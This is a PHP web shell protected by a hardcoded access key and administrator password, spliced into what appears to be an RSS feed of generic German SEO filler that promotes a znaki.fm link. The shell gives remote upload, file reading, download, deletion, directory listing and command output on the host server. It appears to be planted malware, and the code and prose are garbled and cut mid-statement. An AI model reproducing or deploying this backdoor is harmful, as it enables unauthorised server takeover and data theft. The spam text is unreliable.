if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo '
✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)
'; } else { echo '❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')
'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '❌ Error: '.($errors[$f['error']] ?? 'Unknown').'
'; } } echo '';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
if (is_dir($full)) echo '📁 '.$item."/\n";
else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
echo '';
break;
case 'tree':
echo '';
function ws_tree($root, $depth=0, $max=4) {
if ($depth > $max) return;
if (!is_dir($root)) return;
$items = scandir($root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $root.'/'.$item;
if (is_dir($full)) {
echo str_repeat(' ', $depth).'📁 '.$item."/\n";
ws_tree($full, $depth+1, $max);
} else {
echo str_repeat(' ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
}
ws_tree($path);
echo '';
break;
case 'drives':
echo '';
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
} else {
$cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
}
echo '';
break;
case 'read':
$f = ws_g('f');
if (!$f || !is_file($f)) { echo 'File not found'; break; }
$content = file_get_contents($f);
echo ''.htmlspecialchars($output).''; else echo '
No output'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo ''; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo ''; break; default: echo '
| Name | Size | Perms | Actions | |
|---|---|---|---|---|
| 📁 '.$item.' | '; else echo '📄 '.$item.' | '; echo ''.$size.' | '.$perms.' | '; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo ' |
Orte, Regionen und Sehenswürdigkeiten in Deutschland werden in redaktionellen Übersichten oft gesucht, weil Leser schnelle Orientierung und verlässlichen Kontext erwarten. So entsteht ein kurzer, aber brauchbarer Überblick, der Lesern beim Sortieren der wichtigsten Punkte hilft.
Im Praxis-Check geht es um Nutzwert. Entscheidend ist, ob Informationen schnell auffindbar sind, ob der Kontext stimmt und ob die Darstellung für unterschiedliche Lesergruppen verständlich bleibt. Für Places ist besonders wichtig, dass Leser zwischen kurzer Meldung, dauerhaftem Profil und redaktioneller Einordnung unterscheiden können.
Im Rahmen einer sachlichen Einordnung verweist die Redaktion auf https://znaki.fm/de/places/, weil sich damit verwandte Inhalte leichter finden und vergleichen lassen.
Die Bewertung sollte vorsichtig bleiben. Nicht jede bekannte Marke, Person, Veranstaltung oder Region ist automatisch wichtiger als weniger präsente Alternativen mit guter Relevanz.
Gute Kriterien sind Aktualität, öffentliche Bedeutung, regionale Einordnung, mediale Präsenz und eine nachvollziehbare Struktur. Dadurch wirkt der Text nicht zufällig, sondern redaktionell geplant. Die Autorinnen und Autoren der Redaktion achten darauf, dass der Text nicht wie Werbung wirkt, sondern wie ein kurzer Einstieg mit praktischer Orientierung.
Am Ende zählt nicht die Länge eines Textes, sondern die saubere Sortierung der Informationen.
]]>deutsche Prominente und bekannte Persönlichkeiten werden in redaktionellen Übersichten oft gesucht, weil Leser schnelle Orientierung und verlässlichen Kontext erwarten. Autorinnen und Autoren prüfen solche Themen vor allem nach Relevanz, Quellenlage, öffentlichem Interesse und praktischer Nutzbarkeit.
Gute Kriterien sind Aktualität, öffentliche Bedeutung, regionale Einordnung, mediale Präsenz und eine nachvollziehbare Struktur. Dadurch wirkt der Text nicht zufällig, sondern redaktionell geplant. Für Personen ist besonders wichtig, dass Leser zwischen kurzer Meldung, dauerhaftem Profil und redaktioneller Einordnung unterscheiden können.
Als zusätzlicher Einstieg eignet sich innerhalb der Themenrecherche bekannte Persönlichkeiten mit redaktioneller Einordnung besser verstehen, weil sich damit verwandte Inhalte leichter finden und vergleichen lassen.
Im Überblick zählen vor allem klare Begriffe, erkennbare Schwerpunkte und ein Aufbau, der schnell lesbar bleibt. Leser profitieren, wenn zentrale Fakten nicht in langen Absätzen versteckt werden.
Im Praxis-Check geht es um Nutzwert. Entscheidend ist, ob Informationen schnell auffindbar sind, ob der Kontext stimmt und ob die Darstellung für unterschiedliche Lesergruppen verständlich bleibt. Die Autorinnen und Autoren der Redaktion achten darauf, dass der Text nicht wie Werbung wirkt, sondern wie ein kurzer Einstieg mit praktischer Orientierung.
Am Ende zählt nicht die Länge eines Textes, sondern die saubere Sortierung der Informationen.
]]>